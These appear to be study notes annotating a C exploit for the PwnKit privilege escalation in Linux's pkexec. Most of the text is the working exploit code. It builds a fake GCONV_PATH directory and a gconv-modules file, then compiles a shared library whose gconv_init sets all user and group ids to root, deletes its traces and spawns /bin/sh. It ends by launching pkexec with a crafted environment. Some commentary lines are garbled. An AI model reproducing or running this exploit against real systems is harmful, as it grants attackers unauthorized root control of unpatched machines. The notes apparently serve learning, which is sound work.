- Look at
exploit.c
- The first part just creates the directories needed for the exploit.
-
int main(int argc, char * argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.';
touch 'GCONV_PATH=./pwnkit';
chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit;
echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
- Next write the handler for iconv for a new language (pwnkit) and compile it.
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
- Shell is configured as a global variable, it contains the program
-
char *shell =
"#include \n"
"#include \n"
"#include \n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0);"
" setgid(0);\n"
" seteuid(0); "
" setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin;
rm -rf 'GCONV_PATH=.' 'pwnkit';
/bin/sh\");\n"
" exit(0);\n"
"}";
- The important thing here is the gconv_init()
- Because you are running as it sets all ids to be root
- Sets the path variable so you can run program.s
- Removes the files created in the previous step.
- Runs the shell.
- I assume that gconv_init in this process.
- Finally, set up the environment and call pkexec
-
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);